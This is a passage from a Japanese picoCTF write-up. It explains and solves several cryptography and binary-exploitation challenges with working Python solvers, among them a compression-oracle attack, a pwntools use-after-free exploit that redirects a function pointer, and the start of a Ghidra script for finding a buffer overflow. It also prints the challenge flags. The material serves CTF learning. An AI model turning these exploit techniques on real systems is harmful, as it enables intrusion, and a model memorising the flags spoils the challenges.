[+] subkey 1: 65.0%
[+] subkey 1: 70.0%
[+] subkey 1: 75.0%
[+] subkey 1: 80.0%
[+] subkey 1: 85.0%
[+] subkey 1: 90.0%
[+] subkey 1: 95.0%
[+] subkey 1: 100.0%
[+] subkey 1 complete!
[+] subkey 2: 5.0%
[+] subkey 2: 10.0%
[+] subkey 2: 15.0%
[+] subkey 2: 20.0%
[+] subkey 2: 25.0%
[+] subkey 2: 30.0%
[+] subkey 2: 35.0%
[+] subkey 2: 40.0%
[+] subkey 2: 45.0%
[+] subkey 2: 50.0%
[+] subkey 2: 55.00000000000001%
[+] subkey 2: 60.0%
[+] subkey 2: 65.0%
[+] subkey 2: 70.0%
[+] subkey 2: 75.0%
[+] subkey 2: 80.0%
[+] subkey 2: 85.0%
[+] subkey 2: 90.0%
[+] subkey 2: 95.0%
[+] subkey 2: 100.0%
[+] subkey 2 complete!
b'af5fa5d565081bac320f42feaf69b405'
...
b'af5fa5d565081bac320f42feaf69b405'

The flag is not in standard formatとあるのでaf5fa5d565081bac320f42feaf69b405がフラグになります。

Compress and Attack

任意の文字列を送ることができ、フラグの後ろに送った文字列を追加したもの圧縮し暗号化したものを得ることができます。暗号化する前に平文を圧縮している点に注目します。

まず、フラグをpicoCTF{hogehoge}だと仮定します。ここでpicoCTF{apicoCTF{bpicoCTF{hの3つの文字列をフラグの後ろに追加し圧縮すると以下のようになります。

>>> import zlib
>>> FLAG = b"picoCTF{hogehoge}"
>>> a = zlib.compress(FLAG + b"picoCTF{a")
>>> b = zlib.compress(FLAG + b"picoCTF{b")
>>> c = zlib.compress(FLAG + b"picoCTF{h")
>>> len(a)
26
>>> len(b)
26
>>> len(c)
25

picoCTF{hを圧縮したものの長さが25であることに対して残りの2つの長さは26となっています。ここから、フラグと一致する部分が多いほど圧縮率が高くなり、データが短くなると推測できます。これを利用すると総当りで1文字ずつフラグを特定することができます。

# solve.py
from socklib import parse_nc_cmd
import string

def compress_and_encrypt(sock, text):
    sock.recvuntil("Enter your text to be encrypted: ")
    sock.sendline(text)
    sock.recvline()
    sock.recvline()
    return int(sock.recvline().rstrip())

with parse_nc_cmd("nc mercury.picoctf.net 33976") as s:
    flag_cand = "picoCTF{"

    while True:
        cand = ()
        for c in (string.ascii_letters + "_}"):
            tmp_flag = flag_cand + c
            length = compress_and_encrypt(s, tmp_flag * 1)
            if not cand:
                cand = (c, length)
            if cand[1] > length:
                cand = (c, length)
            print(flag_cand + c, length, cand)
        print(f"\nfound candidate: {cand}")
        flag_cand += cand[0]
        if cand[0] == "}":
            break
    print(flag_cand)
$ python solve.py
python solve.py
picoCTF{a 49 ('a', 49)
picoCTF{b 49 ('a', 49)
picoCTF{c 49 ('a', 49)
...

found candidate: ('}', 48)
picoCTF{sheriff_you_solved_the_crime}

Scrambled RSA

mercury.picoctf.net 47987に接続するとフラグを暗号化したものだと考えられる値とn, eが得られます。また、任意の文字列を暗号化することができます。

nの値に比べてフラグの値がとても大きいという不思議なことが起こっています。そこで、試しに適当な文字列を暗号化してもらい、どんな特徴があるのか考えます。

$ nc mercury.picoctf.net 47987
flag: 27712828221077230806997584148553541659367258963369828259994779356476404345742347820959256363115965049022500818322214939353772037881245999080566560981933133306491634178220361587915102881935897146558760171172567228766560353968233194356612656258701617969973928766585663707804121255155181178425886160265357131159453188603016611573953174075509753927362602077855247727643448473670365318452055382334262644740113673746523436714532949668854323545336821050606392034688473158951296266892270362498167510014673981203744539567740080247073141674398592704404866572978027047041578423565031177926200186607280437527790692508547201667231156733094749389428175488610019166576031271302868317030684446447124122200592107294369876287166414070290975543463072950874453721019766300167867551603536912643534954337799206397593897576607471557691589976332179157201938000586083569962797061276879574579988329000429955824755895679105701640110087977282985074097588222161994859397406136894043667638844627654658292028860612986381584913116938250971816639839997084139200378607388431245059996365604862507293936165368652217770181949531397142159619792581784156117971903451768630614886260645022701245367374751768152481421256266383579179135083390647207665599143493948353091543052735848830202217948478545672938592279476865145057865566779420538907908670651012236446637810815663616919840079302900081115898117977904408111449154279264270807486027133288342652101543467670680217001365049132588647641167983510023352841021574453929865537148489949481523001953883986038277797949428817948085161567881362365756357083524709902669837542336644181643019735546460806404677707072018088091549455783248044976510069034125649724470786000275882629041484416354806641382530974148050034013722267491123614879435017964388524723026076034152780973014543214199302751900093261789881842305974317466424650331031910268395910730548109769674816517369908617408509269473381613939451454957719373696134386129976776318319365034306193831522391036913274490985898412483783094927175574084653076080765734828942140174708084804022025498343796066262624396472155771764340649289162117311314352966341688992590964676511937492464349159839618467446206745892624604831825100783689369568542447120632717311863231381079501893838345707236550895896772751350384174070635479557593917142778975454272295124729624098055226179476136949883456370106276587946944710718102390704625054177118575291746654767540025095736713508947966288877799346617358540115154884641957797869397933327310021022707381694694416561679293512531880790782173631240262844010163288508233583028218115110933275103029553383199517013786738217101114800393837033643395003568423110442952200558285349179933647455104571993364711131137542547778476916173609608684546829567932041363312809040631500217872318878077802127212213151110096981115161219598482509475163416053252282195169748030692757176747289685379290463199942170396176090656323474570528407849553763144106183633823452084359011867468520918531735696653415022150695892575467103308946798868078707411379881946730140852963737084932116751347583769428856375530963352331872517568950303813717897912043046976298016062220440925374188910414226374647109752158320067099501641653272654526100850604853942209566279052020384765374009815441617578986577173115859922883938412512132952653400291671652220540991003546650066219442114665206485230795529199617370484777250443121518305279277824912361407417500519478345434222323942703174801987895628647481030026086413195867474389576645955078967242602887969888280169699536720587504700734043397211149901322728763035000041514425798681357602715881938278124969848921065553973334814624016812376724528505977181244931416509508783628922981896359376825649659721318658909444444661829706054477319646634907312859930567822969791238055554358805719873942748454459700344202782970618485188688754774540430559268182850315537525498771926118138642633390820899675040774449066674450049492672321331665527032091733213105768424252379687321961330016325112867279304717632596901731813339739004497651918383786329830967443855410891347218797221566082762622680807649665891211151453630630784606112110450584825151306745174072146595466349933815514120655711394286246508411287924595689570329557368457128002070123347469385447346889870962619515860618538350020692163198600560761904862408547682902426787907026120604338021337249405703084526521699956046068105895547970808511002638784423941201131961336517393464716405458669087961466440943180853606374916385062503582725665625859943669345416858988593938935944683268175615710377019708220716500736504578045928551268654955366126201436041682899139378543448212198082378519522612663300938361931502137207220047586213053436842065652027633898979168581684526829062188212050215560145350597947861710098240657261787453057229856066391715066898435550280902097220047615575224599080659479516846392252350342864308439180542560230133261614355953247781876053408650867860012311586444925009428946833948431107534017842138505199769015848557583843061705112773210203249007331411268444356621635485793683881135909692652949611062468486941914368718253170956522332548643625056540095244911102944734328772731877775301285382383179946854002247910649042117011112119130791500278445355073436904375648857013923998138388023029893923762075111684951526164941155536267450581255482957652359094198508314699716146991945491328364819374643234442192047060639913592914549113576305618938605607426356703253949006698901620084224210470490651607819508085628647739927486533253760050865378374791332738957642375407737675393559069126768566773829757373477115307516420429978297009226543331131113613145445338536814590577703145302050209708645743161244651047520553596152225046462345681950597656784724287676847662128964583312309569563242565742869389543045669119477860820405459471470748255221373435883498982929915078994205352919083280969489227471241305063590359559421914170733847201414047274312506757356729347423221981014308526562285310015423014036861912298513151724111584918781808316355052268463520196917073392743007393045560586784814573009120778740153253910527421341246660401883614090744550881858923764151692152590263960882611557362509091911827961959559221986524372108623799450983352538507459836370818322104930759735727732767102428121727348160425654099579672779993372794441583817969787518891400323442966803589240941541003181497084416885424517724495238056867331820629300795911839245794202768837573421409695377631353110919712419009426675557866140401112113332373528062673463905875236787141246036639871330049457710511218071878439256928860399554520902312502643276479956448337110824521473292176410719349536051387508225730262600344188819696486882400882098334540121327177169906942261499782134461365050818710369421868606305336262424676544300169503020881409954882302746525666978508771012190571796562888927913663115573977899459090423922911012733185517438696064916510654388729650892108003627041359253612940110965967131940882830596349021830950235626531850304269410153114945213946220480000574901829235859292766393160768277509797235056780638979837593313168737335437145511206685629952663225770743846789214342829650857981066038368985673527144735214747153130025769656626516058611173973628930555319539130817685160453548470426228392565777634720245481488449848316029050173244589074722956597360020094950689091826765881777143424614481761915843715660144097720490178762263545769171280909203407265719880124216134754528006546133247141975296846530129576426623163541179031962203416724632530103882573324332015623636427536299478372552161404801637263381404431956093574226959419824662591520916940272719082588280419511950558494513945661500838259349922438855482977425977091966452171420424583139441332643561133943129194470174353084676796644721543488177922021154589522377747098417902876114127549020102104627730560376012086136629870304461363884350540778780564090244923426233146899388163989747574068409206943114588466204565298856428538611684099230998180586068273371542151993695484506278667215347066814447340732062812343105719667532364259311635541163873467731070473221927188747039132221942180879287
n: 113491632484518090091336543596784123270561676696666071384566480902164824756567480758350941907546324701133062532339021188284191508970295068395228174673076319702499395200561767877698291017840956966474307150236161387990996434586127034090502792039435271853566801396283187093436302112104521376830064559716218688401
e: 65537
I will encrypt whatever you give me: a
Here you go: 46798895334693840091794835001160532416686708388879653934218525507319772044314411772964942931898209979377699687862441389954657524372104054716282443386231841355324772035639583226678756617341698827891313123612781220704620048675289731640242648784405825044073411691609253812130931490975910732069177699680604739413
I will encrypt whatever you give me: aa
Here you go: 1552156076965828047540149946046789583061977135612132861026318719336229092350627491381215303285000800235429638468571515203237528263382810074197414740728991779303110596623988913732731578167400453121636447002418405034882808902517139360575207389567103630418993497578319835814742598505039497836013117263225786881546798895334693840091794835001160532416686708388879653934218525507319772044314411772964942931898209979377699687862441389954657524372104054716282443386231841355324772035639583226678756617341698827891313123612781220704620048675289731640242648784405825044073411691609253812130931490975910732069177699680604739413
I will encrypt whatever you give me: aaa
Here you go: 1063267893767234429322081426512844918079569873836284739657702910178179165098021325056337175153090068343546463379970597849682719986590544606517460396659751323299210864023806255602198354292257635202354942726624723552824108197792015277232093167864122458791609720484405997976569120321775940024793917316860609795221552156076965828047540149946046789583061977135612132861026318719336229092350627491381215303285000800235429638468571515203237528263382810074197414740728991779303110596623988913732731578167400453121636447002418405034882808902517139360575207389567103630418993497578319835814742598505039497836013117263225786881546798895334693840091794835001160532416686708388879653934218525507319772044314411772964942931898209979377699687862441389954657524372104054716282443386231841355324772035639583226678756617341698827891313123612781220704620048675289731640242648784405825044073411691609253812130931490975910732069177699680604739413

aaを暗号化したものに着目すると、aaを暗号化したものの中にaを暗号化したものが含まれていることがわかります。aaをaを暗号化したものの部分をxとそうでない部分をyとすると以下のようになっています。

x = 46798895334693840091794835001160532416686708388879653934218525507319772044314411772964942931898209979377699687862441389954657524372104054716282443386231841355324772035639583226678756617341698827891313123612781220704620048675289731640242648784405825044073411691609253812130931490975910732069177699680604739413
y = 15521560769658280475401499460467895830619771356121328610263187193362290923506274913812153032850008002354296384685715152032375282633828100741974147407289917793031105966239889137327315781674004531216364470024184050348828089025171393605752073895671036304189934975783198358147425985050394978360131172632257868815

さらにaaaを暗号化したものに着目すると、その中に上のxyが含まれていることがわかります。

上の例からaaaという平文を与えられた時、a,aa,aaaをそれぞれ暗号化し順番をバラバラにした後に結合したものが、得られる暗号文なのではないかと推測できます。このことから、総当たりで1文字ずつフラグを特定できそうだと思い、実際に総当りしてみるとフラグが得られました。

from socklib import parse_nc_cmd
from collections import defaultdict
import string

CAND_CHARS = "_}" + string.ascii_letters + string.digits

def encrypt(sock, msg):
    sock.recvuntil("I will encrypt whatever you give me: ")
    sock.sendline(msg)
    sock.recvuntil("Here you go: ")
    return sock.recvline().rstrip()

with parse_nc_cmd("nc mercury.picoctf.net 47987") as s:
    s.recvuntil("flag: ")
    flag = s.recvline().rstrip()

    s.recvuntil("n: ")
    n = s.recvline().rstrip()

    s.recvuntil("e: ")
    e = s.recvline().rstrip()

    known_flag = "picoCTF{"
    known_list = []

    print("[+] gather data")

    for i in range(1, len(known_flag) + 1):
        tmp = known_flag[:i]
        enc = encrypt(s, tmp)
        if i != 1:
            for kl in known_list:
                enc = enc.replace(kl, b"")
        known_list.append(enc)

    print("[+] ok!")

    print("[+] start bruteforce 💪")
    while True:
        for prog, cand in enumerate(CAND_CHARS):
            payload = known_flag + cand
            enc = encrypt(s, payload)
            for kl in known_list:
                enc = enc.replace(kl, b"")
            if flag.find(enc) != -1:
                known_flag = payload
                known_list.append(enc)
                break
        if cand == "}":
            break
        else:
            print(f"[+] found char: {cand}")
            print(f"[+] current flag: {known_flag}")
    print(f"[+] finish bruteforce 👍")
    print(f"[+] flag: {known_flag}")
$ python solve.py
[+] gather data
[+] ok!
[+] start bruteforce 💪
[+] found char: b
[+] current flag: picoCTF{b
[+] found char: a
[+] current flag: picoCTF{ba
[+] found char: d
[+] current flag: picoCTF{bad
...
[+] found char: 2 
[+] current flag: picoCTF{bad_1d3a5_7571572
[+] finish bruteforce 👍
[+] flag: picoCTF{bad_1d3a5_7571572}

New Vigenere

New CaesarのVigenere暗号バージョンです。鍵長が1~15文字になっています。

暗号文を復号した後にb16decodeして得られる文字がabcdef0123456789の内のどれかでなくてはならないので、この条件に一致するような鍵の候補を総当りで求めると解けました。bruteforce 💪

# solve.py
import string
import time

LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]

def b16_decode(encoded):
    assert len(encoded) % 2 == 0
    dec = ""
    for i in range(len(encoded) // 2):
        e = encoded[i*2:i*2+2]
        high = ALPHABET.find(e[0])
        low = ALPHABET.find(e[1])
        dec += chr(int("0b{:04b}{:04b}".format(high, low), 2))
    return dec

def inv_shift(c, k):
    t1 = ord(c) - LOWERCASE_OFFSET
    t2 = ord(k) - LOWERCASE_OFFSET
    return ALPHABET[(t1 - t2) % len(ALPHABET)]

c = "bkglibgkhghkijphhhejggikgjkbhefgpienefjdioghhchffhmmhhbjgclpjfkp"

print("[+] start find cand1")
t = time.time()

key_cand = []
cand = []
for i in range(0, 16):
    for j in range(0, 16):
        a = inv_shift(c[0], chr(0x61 + i))
        b = inv_shift(c[1], chr(0x61 + j))
        decoded = b16_decode(a+b)
        if decoded[0] in "abcdef0123456789":
            cand.append(chr(0x61+i)+chr(0x61+j))
key_cand.append(cand)

print("[+] finish find cand1")
print(f"[+] elapsed: {time.time() - t}")

for i in range(4):
    print(f"[+] start find cand{i + 2}")
    t = time.time()

    cand = []
    for idx in range(len(key_cand[i])):
        for j in range(0, 16):
            for k in range(0, 16):
                a = inv_shift(c[(i+1)*2], chr(0x61 + j))
                b = inv_shift(c[(i+1)*2+1], chr(0x61 + k))
                decoded = b16_decode(a+b)
                if decoded[0] in "abcdef0123456789":
                    cand.append(key_cand[i][idx] + chr(0x61+j)+chr(0x61+k))
    key_cand.append(cand)
    print(f"[+] finish find cand{i + 2}")
    print(f"[+] elapsed: {time.time() - t}")

for kcand in key_cand:
    for key in kcand:
        dec1, dec2 = "", ""
        key_odd = key[:-1]
        for i in range(len(c)):
            dec1 += inv_shift(c[i], key[i % len(key)])
            dec2 += inv_shift(c[i], key_odd[i % len(key_odd)])
        dec1 = b16_decode(dec1)
        dec2 = b16_decode(dec2)
        if all([c in "abcdef0123456789" for c in dec1]):
            print(f"key: {key}\ndecrypted: {dec1}")
            exit()
        if all([c in "abcdef0123456789" for c in dec2]):
            print(f"key: {key_odd}\ndecrypted: {dec2}")
            exit()
$ python solve.py
[+] start find cand1
[+] finish find cand1
[+] elapsed: 0.001474142074584961
[+] start find cand2
[+] finish find cand2
[+] elapsed: 0.029284954071044922
[+] start find cand3
[+] finish find cand3
[+] elapsed: 0.27237415313720703
[+] start find cand4
[+] finish find cand4
[+] elapsed: 6.034616947174072
[+] start find cand5
[+] finish find cand5
[+] elapsed: 85.48889708518982
key: oedcfjdbe
decrypted: 698987ddce418c11e9aa564229c50fda

Binary Exploitation

Unsubscription Are Free

vuln.cとvulnというELF形式の実行ファイルが与えられます。

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>

#define FLAG_BUFFER 200
#define LINE_BUFFER_SIZE 20


typedef struct {
    uintptr_t (*whatToDo)();
    char *username;
} cmd;

char choice;
cmd *user;

void hahaexploitgobrrr(){
    char buf[FLAG_BUFFER];
    FILE *f = fopen("flag.txt","r");
    fgets(buf,FLAG_BUFFER,f);
    fprintf(stdout,"%s\n",buf);
    fflush(stdout);
}

char * getsline(void) {
    getchar();
    char * line = malloc(100), * linep = line;
    size_t lenmax = 100, len = lenmax;
    int c;
    if(line == NULL)
        return NULL;
    for(;;) {
        c = fgetc(stdin);
        if(c == EOF)
            break;
        if(--len == 0) {
            len = lenmax;
            char * linen = realloc(linep, lenmax *= 2);

            if(linen == NULL) {
                free(linep);
                return NULL;
            }
            line = linen + (line - linep);
            linep = linen;
        }

        if((*line++ = c) == '\n')
            break;
    }
    *line = '\0';
    return linep;
}

void doProcess(cmd* obj) {
    (*obj->whatToDo)();
}

void s(){
    printf("OOP! Memory leak...%p\n",hahaexploitgobrrr);
    puts("Thanks for subsribing! I really recommend becoming a premium member!");
}

void p(){
    puts("Membership pending... (There's also a super-subscription you can also get for twice the price!)");
}

void m(){
    puts("Account created.");
}

void leaveMessage(){
    puts("I only read premium member messages but you can ");
    puts("try anyways:");
    char* msg = (char*)malloc(8);
    read(0, msg, 8);
}

void i(){
    char response;
    puts("You're leaving already(Y/N)?");
    scanf(" %c", &response);
    if(toupper(response)=='Y'){
        puts("Bye!");
        free(user);
    }else{
        puts("Ok. Get premium membership please!");
    }
}

void printMenu(){
    puts("Welcome to my stream! ^W^");
    puts("==========================");
    puts("(S)ubscribe to my channel");
    puts("(I)nquire about account deletion");
    puts("(M)ake an Twixer account");
    puts("(P)ay for premium membership");
    puts("(l)eave a message(with or without logging in)");
    puts("(e)xit");
}

void processInput(){
  scanf(" %c", &choice);
  choice = toupper(choice);
  switch(choice){
    case 'S':
    if(user){
        user->whatToDo = (void*)s;
    }else{
        puts("Not logged in!");
    }
    break;
    case 'P':
    user->whatToDo = (void*)p;
    break;
    case 'I':
    user->whatToDo = (void*)i;
    break;
    case 'M':
    user->whatToDo = (void*)m;
    puts("===========================");
    puts("Registration: Welcome to Twixer!");
    puts("Enter your username: ");
    user->username = getsline();
    break;
   case 'L':
    leaveMessage();
    break;
    case 'E':
    exit(0);
    default:
    puts("Invalid option!");
    exit(1);
      break;
  }
}

int main(){
    setbuf(stdout, NULL);
    user = (cmd *)malloc(sizeof(user));
    while(1){
        printMenu();
        processInput();
        //if(user){
            doProcess(user);
        //}
    }
    return 0;
}

processInputでuser->whatToDoに関数がセットされてdoProcessで実行されます。

hahaexploitgobrrrというフラグを表示する関数がありますがどこからも呼び出されていません。しかし、processInputでSと入力してs関数を呼び出すとhahaexploitgobrrr関数のアドレスを手に入れることができます。

main関数内にあるwhileの中のコメントアウトされた部分がどうも怪しいです。

leaveMessage関数とi関数に着目します。

void leaveMessage(){
    puts("I only read premium member messages but you can ");
    puts("try anyways:");
    char* msg = (char*)malloc(8);
    read(0, msg, 8);
}

void i(){
    char response;
    puts("You're leaving already(Y/N)?");
    scanf(" %c", &response);
    if(toupper(response)=='Y'){
        puts("Bye!");
        free(user);
    }else{
        puts("Ok. Get premium membership please!");
    }
}

まず、i関数から見ていきます。

i関数の中にuserをfreeしている箇所があります。しかし、プログラムは終了されずmain関数に戻って処理が続いていきます。つまり、freeされたはずのuserという変数が使い続けられます。

次にleaveMessage関数を見てみます。

ここではmallocで8byte分の領域を確保し、好きな値を書き込めるようになっています。また、mallocで確保された領域をfreeしていません。

これらのことから、次の操作を行えばhahaexploitgobrrr関数を呼び出すことができます。

  1. Sと入力しs関数を呼び出してhahaexploitgobrrr関数のアドレスを手に入れる
  2. Iと入力しi関数を呼び出してuserをfreeする
  3. Lと入力しleaveMessage関数を呼び出してhahaexploitgobrrr関数のアドレスを入力する

変数userの型であるcmdのサイズは16byteです。userをfreeするとtcache->entries[0]にuserのアドレスがキャッシュされます。その後にmalloc(8)を実行するとキャッシュを利用してtcache->entries[0]からuserのアドレスを取り出し、そのアドレスが返されます。そして、返ってきた領域の先頭8byteはuser->whatToDoとなっておりread(0, msg, 8)でここを書き換えることができるため好きなアドレスに飛ばすことができるのです。

from pwn import *

# p = process("vuln")
p = remote("mercury.picoctf.net", 48259)

# hahaexploitgobrrr
p.recvuntil("(e)xit")
p.sendline("S")
p.recvuntil("OOP! Memory leak...")
target = int(p.recvline().rstrip(), 16)

# free user
p.recvuntil("(e)xit")
p.sendline("I")
p.recvuntil("You're leaving already(Y/N)?")
p.sendline('Y')

# char* msg = (char*)malloc(8); cmdのsizeは16であるから、msgにuserのaddressが入る
p.recvuntil("(e)xit")
p.sendline("L")
p.recvuntil("try anyways:")
p.sendline(p64(target))

print(p.recvline().rstrip().decode())
print(p.recvline().rstrip().decode())
$ python solve.py
[+] Opening connection to mercury.picoctf.net on port 48259: Done

picoCTF{d0ubl3_j30p4rdy_cff1f12d}

Bizz Fuzz

vulnというELF形式の実行ファイルが与えられます。実行すると以下のようになります。

$ ./vuln
1? 1
2? 2
3? fizz
1? 1
2? 0
1? 1
2? 2
3? fizz
4? 4
1? 1
2? 2
3? fizz
4? 4
5? buzz
fizz
...

問題文によるとどこかにBOF脆弱性があるようです。

Ghidraでデコンパイルしてmain関数を見てみます。

void FUN_0814c22c(void)

{
  setbuf(stdout,(char *)0x0);
  FUN_0811d5b3();
  FUN_0811d941();
  puts("fizz");
  FUN_0811ead2();
  puts("buzz");
  puts("fizz");
  FUN_0811fbb3();
  FUN_08120828();
  puts("fizz");
  puts("buzz");
  FUN_08121d33();
  puts("fizz");
  FUN_08122908();
  FUN_08122ea8();
  puts("fizzbuzz");
  FUN_081237e9();
  FUN_081241ca();
  puts("fizz");
  FUN_081255ef();
  puts("buzz");
  puts("fizz");
  FUN_08127392();
  FUN_08127c08();
  puts("fizz");
  puts("buzz");
  FUN_081294b8();
  puts("fizz");
  FUN_0812a7b4();
  FUN_0812b0ae();
  puts("fizzbuzz");
  FUN_0812c368();
  FUN_0812c6f6();
  puts("fizz");
  FUN_0812d430();
  puts("buzz");
  puts("fizz");
  FUN_0812edb3();
  FUN_0812f1b9();
  puts("fizz");
  puts("buzz");
  FUN_081309d7();
  puts("fizz");
  FUN_08131dba();
  FUN_08132072();
  puts("fizzbuzz");
  FUN_0813282a();
  FUN_0813326e();
  puts("fizz");
  FUN_08133b70();
  puts("buzz");
  puts("fizz");
  FUN_08135115();
  FUN_081355d3();
  puts("fizz");
  puts("buzz");
  FUN_08137124();
  puts("fizz");
  FUN_08137f92();
  FUN_08138931();
  puts("fizzbuzz");
  FUN_0813979b();
  FUN_08139ba1();
  puts("fizz");
  FUN_0813ac2a();
  puts("buzz");
  puts("fizz");
  FUN_0813ca30();
  FUN_0813cf2e();
  puts("fizz");
  puts("buzz");
  FUN_0813e2a2();
  puts("fizz");
  FUN_0813f4d8();
  FUN_0813fe56();
  puts("fizzbuzz");
  FUN_08140c2e();
  FUN_081413de();
  puts("fizz");
  FUN_0814215d();
  puts("buzz");
  puts("fizz");
  FUN_08142af1();
  FUN_08143724();
  puts("fizz");
  puts("buzz");
  FUN_081451af();
  puts("fizz");
  FUN_08145c2a();
  FUN_0814668f();
  puts("fizzbuzz");
  FUN_081470c9();
  FUN_08147792();
  puts("fizz");
  FUN_0814868f();
  puts("buzz");
  puts("fizz");
  FUN_0814a663();
  FUN_0814ac03();
  puts("fizz");
  puts("buzz");
  return;
}

大量に関数を呼び出しているのがわかります。setbufの後に呼び出しているFUN_0811d5b3を見ていきます。

void FUN_0811d5b3(void)

{
  int iVar1;
  
  iVar1 = FUN_080486b1(4);
  if (iVar1 != 4) {
    FUN_081451af();
    iVar1 = FUN_080486b1(4);
    if (iVar1 != 4) {
      FUN_0812d430();
      iVar1 = FUN_080486b1(10);
      if (iVar1 != 10) {
        FUN_0812d430();
        iVar1 = FUN_080486b1(7);
        if (iVar1 != 7) {
          FUN_08140c2e();
          iVar1 = FUN_080486b1(0x11);
          if (iVar1 != 0x11) {
            FUN_0811d5b3();
            iVar1 = FUN_080486b1(2);
            if (iVar1 != 2) {
              FUN_0813e2a2();
              iVar1 = FUN_080486b1(0xe);
              if (iVar1 != 0xe) {
                FUN_0813fe56();
                iVar1 = FUN_080486b1(6);
                if (iVar1 != 6) {
                  FUN_08137124();
                  iVar1 = FUN_080486b1(0xe);
                  if (iVar1 != 0xe) {
                    FUN_08142af1();
                    iVar1 = FUN_080486b1(2);
                    if (iVar1 != 2) {
                      FUN_08127392();
                      iVar1 = FUN_080486b1(0xc);
                      if (iVar1 != 0xc) {
                        FUN_0812f1b9();
                        iVar1 = FUN_080486b1(3);
                        if (iVar1 != 3) {
                          FUN_08146b6b();
                          iVar1 = FUN_080486b1(0x11);
                          if (iVar1 != 0x11) {
                            FUN_0812edb3();
                            iVar1 = FUN_080486b1(8);
                            if (iVar1 != 8) {
                              FUN_081309d7();
                              iVar1 = FUN_080486b1(0x11);
                              if (iVar1 != 0x11) {
                                FUN_08140c2e();
                                iVar1 = FUN_080486b1(9);
                                if (iVar1 != 9) {
                                  FUN_0814ac03();
                                  iVar1 = FUN_080486b1(0x11);
                                  if (iVar1 != 0x11) {
                                    FUN_0812b0ae();
                                    iVar1 = FUN_080486b1(0x12);
                                    if (iVar1 != 0x12) {
                                      FUN_0814668f();
                                      iVar1 = FUN_080486b1(0xb);
                                      if (iVar1 != 0xb) {
                                        FUN_080fc4b8();
                                        iVar1 = FUN_080486b1(0x11);
                                        if (iVar1 != 0x11) {
                                          FUN_0811ead2();
                                          iVar1 = FUN_080486b1(3);
                                          if (iVar1 != 3) {
                                            FUN_08142af1();
                                            iVar1 = FUN_080486b1(4);
                                            if (iVar1 != 4) {
                                              FUN_08120828();
                                              iVar1 = FUN_080486b1(7);
                                              if (iVar1 != 7) {
                                                FUN_0813ac2a();
                                                iVar1 = FUN_080486b1(7);
                                                if (iVar1 != 7) {
                                                  FUN_08127392();
                                                  iVar1 = FUN_080486b1(6);
                                                  if (iVar1 != 6) {
                                                    FUN_08138931();
                                                    iVar1 = FUN_080486b1(10);
                                                    if (iVar1 != 10) {
                                                      FUN_08147792();
                                                      iVar1 = FUN_080486b1(0xc);
                                                      if (iVar1 != 0xc) {
                                                        FUN_08140c2e();
                                                        iVar1 = FUN_080486b1(0xc);
                                                        if (iVar1 != 0xc) {
                                                          FUN_0811d941();
                                                          iVar1 = FUN_080486b1(3);
                                                          if (iVar1 != 3) {
                                                            FUN_0812d430();
                                                            iVar1 = FUN_080486b1(2);
                                                            if (iVar1 != 2) {
                                                              FUN_0814868f();
                                                            }
                                                          }
                                                        }
                                                      }
                                                    }
                                                  }
                                                }
                                              }
                                            }
                                          }
                                        }
                                      }
                                    }
                                  }
                                }
                              }
                            }
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
  return;
}

FUN_080486b1の結果を見て分岐しています。main関数で呼び出している関数は全て似たような感じになっています。FUN_080486b1min(第一引数, FizzBuzzに正解した回数)を返す関数です。

いろいろ見ているとフラグを表示する関数が見つかりました。

void FUN_08048656(void)

{
  char local_74 [100];
  FILE *local_10;
  
  local_10 = fopen("flag.txt","r");
  fgets(local_74,100,local_10);
  puts(local_74);
                    /* WARNING: Subroutine does not return */
  exit(0);
}

BOFでリターンアドレスを書き換えてこの関数に飛ばせば良さそうです。

手作業で解析するのは無謀なのでGhidraスクリプトを書いて解析しました。

from __main__ import *

START = 0x0804883a
END = 0x0811d5b3
FGETS_ADDR = 0x080484a0
GET_PC_THUNK = [toAddr(0x814c6ca), toAddr(0x8048590), toAddr(0x8048573)]
MAX_DEPTH = 1e3

INNER_MAIN_FUNCS = [0x811d5b3,0x811d941,0x811ead2,0x811fbb3,0x8120828,0x8121d33,0x8122908,0x8122ea8,0x81237e9,0x81241ca,0x81255ef,0x8127392,0x8127c08,0x81294b8,0x812a7b4,0x812b0ae,0x812c368,0x812c6f6,0x812d430,0x812edb3,0x812f1b9,0x81309d7,0x8131dba,0x8132072,0x813282a,0x813326e,0x8133b70,0x8135115,0x81355d3,0x8137124,0x8137f92,0x8138931,0x813979b,0x8139ba1,0x813ac2a,0x813ca30,0x813cf2e,0x813e2a2,0x813f4d8,0x813fe56,0x8140c2e,0x81413de,0x814215d,0x8142af1,0x8143724,0x81451af,0x8145c2a,0x814668f,0x81470c9,0x8147792,0x814868f,0x814a663,0x814ac03]

def getInstructionAfterN(addr, n):
    inst = getInstructionAt(addr)
    insts = []
    for i in range(n):
        insts.append(getInstructionAfter(inst))
        inst = getInstructionAfter(inst)
    return insts

def getInstructionBeforeN(addr, n):
    inst = getInstructionAt(addr)
    insts = []
    for i in range(n):
        insts.append(getInstructionBefore(inst))
        inst = getInstructionBefore(inst)
    return insts

# Find functions that are vulnerable to BOF.
def find_bof():
    fm = getCurrentProgram().getFunctionManager()

    funcs = []
    for f in fm.getFunctions(True):
        addr = f.getEntryPoint().getOffset()
        if START <= addr < END:
            funcs.append(f)

    # find BOF
    for func in funcs:
        entry = func.getEntryPoint()
        tmp = getInstructionAfterN(entry, 3)
        sub_esp = tmp[-1]
        stack_size = sub_esp.getOpObjects(1)[0].getValue()
        # get bufsize
        buf_size = abs(func.getLocalVariables()[-1].getStackOffset())

        inst = getInstructionAt(entry)
        while True:
            iaddr = inst.getInstructionContext().getAddress()
            mnemo = inst.getMnemonicString()
            if mnemo == "CALL":
                target = inst.getOpObjects(0)[0].getOffset()
                if target == FGETS_ADDR:
                    arg2_inst = getInstructionBeforeN(iaddr, 3)[-1]
                    arg2 = arg2_inst.getOpObjects(0)[0].getValue()
                    if arg2 > buf_size:
                        print("found BOF!")
                        print("func:", func, entry)
                        print("addr:", iaddr)
                        print(arg2, buf_size)
                        return func

            if getFunctionContaining(iaddr) != func:
                break
            inst = inst.getNext()

# Find path from the main function to the BOF vulnerable function
def find_path():
    fm = getCurrentProgram().getFunctionManager()
    bof_func = find_bof()
    target_addr = [toAddr(addr) for addr in INNER_MAIN_FUNCS]

    results = []
    already_passed = set()
    print("[+] start!")
    def find_recursive(addr, parent_addr, paths, depth=0):
        if depth >= MAX_DEPTH:
